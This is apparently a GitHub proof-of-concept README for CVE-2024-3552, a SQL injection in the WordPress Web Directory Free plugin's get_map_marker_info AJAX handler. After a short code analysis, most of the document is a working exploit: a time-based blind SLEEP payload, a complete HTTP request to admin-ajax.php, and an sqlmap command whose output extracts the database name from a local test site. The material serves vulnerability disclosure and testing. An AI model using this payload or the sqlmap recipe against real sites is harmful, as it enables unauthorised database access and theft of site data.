kiphuong/cve-2024-3552Proof-of-concept for CVE-2024-3552: SQL injection in WordPress Web Directory Free plugin (pre-1.7.0). Includes vulnerable code analysis, manual exploitation, and sqlmap automation for time-based blind injection.
The Plugin Web Directory Free (WordPress) prior to version 1.7.0 contains a SQL Injection vulnerability. The AJAX execution function is not properly filtered/sanitized, allowing an attacker to manipulate the SQL query or inject additional clauses (UNION, time-based, error-based)
In the file ajax-controller.php → class w2dc_ajax_controller → Function get_map_marker_info
$_POST['locations_ids'] without validation$locations_ids = w2dc_getValue($_POST, 'locations_ids');$location_id being each element in $_POST['locations_ids'] through a foreach loop$row = $wpdb->get_row("SELECT * FROM {$wpdb->w2dc_locations_relationships} WHERE id=".$location_id, ARRAY_A);
⇒ SQL injection occurs
Using payload =action=w2dc_get_map_marker_info&locations_ids[]=1 AND (SELECT 1 FROM (SELECT IF(1=1,SLEEP(5),0)) AS a)
Request:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost:8080
Content-Length: 110
sec-ch-ua-platform: "Linux"
Accept-Language: en-US,en;q=0.9
sec-ch-ua: "Not)A;Brand";v="8", "Chromium";v="138"
sec-ch-ua-mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://localhost:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8080/wp-admin/
Accept-Encoding: gzip, deflate, br
action=w2dc_get_map_marker_info&locations_ids[]=1 AND (SELECT 1 FROM (SELECT IF(1=1,SLEEP(5),0)) AS a)
Conclusion:
⇒ Injected queries were executed ⇒ Successful exploitation
kp@ubuntu:~/Desktop/cve-2024-3552$ sqlmap -u "http://localhost:8080/wp-admin/admin-ajax.php" \
> --data="action=w2dc_get_map_marker_info&locations_ids[]=1" \
> -p "locations_ids[]" \
> --batch --current-db --threads=5
___
__H__
___ ___[)]_____ ___ ___ {1.4.4#stable}
|_ -| . [(] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 00:59:23 /2025-07-22/
[00:59:24] [INFO] testing connection to the target URL
[00:59:24] [INFO] checking if the target is protected by some kind of WAF/IPS
[00:59:24] [INFO] testing if the target URL content is stable
[00:59:24] [INFO] target URL content is stable
[00:59:24] [WARNING] heuristic (basic) test shows that POST parameter 'locations_ids[]' might not be injectable
[00:59:24] [INFO] testing for SQL injection on POST parameter 'locations_ids[]'
[00:59:24] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[00:59:25] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[00:59:25] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[00:59:25] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[00:59:26] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[00:59:26] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[00:59:27] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[00:59:27] [INFO] testing 'Generic inline queries'
[00:59:27] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[00:59:27] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[00:59:27] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[00:59:28] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[00:59:38] [INFO] POST parameter 'locations_ids[]' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[00:59:38] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[00:59:38] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[00:59:40] [INFO] checking if the injection point on POST parameter 'locations_ids[]' is a false positive
POST parameter 'locations_ids[]' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 73 HTTP(s) requests:
---
Parameter: locations_ids[] (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: action=w2dc_get_map_marker_info&locations_ids[]=1 AND (SELECT 7278 FROM (SELECT(SLEEP(5)))tyoO)
---
[00:59:55] [INFO] the back-end DBMS is MySQL
[00:59:55] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
back-end DBMS: MySQL >= 5.0.12
[00:59:56] [INFO] fetching current database
multi-threading is considered unsafe in time-based data retrieval. Are you sure of your choice (breaking warranty) [y/N] N
[00:59:56] [INFO] retrieved:
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[01:00:11] [INFO] adjusting time delay to 1 second due to good response times
wp_db
current database: 'wp_db'
[01:00:34] [INFO] fetched data logged to text files under '/home/kp/.sqlmap/output/localhost'
[01:00:34] [WARNING] you haven't updated sqlmap for more than 1936 days!!!
[*] ending @ 01:00:34 /2025-07-22/
Obtained Payload = action=w2dc_get_map_marker_info&locations_ids[]=1 AND (SELECT 7278 FROM (SELECT(SLEEP(5)))tyoO) ⇒ SQLi vulnerability exists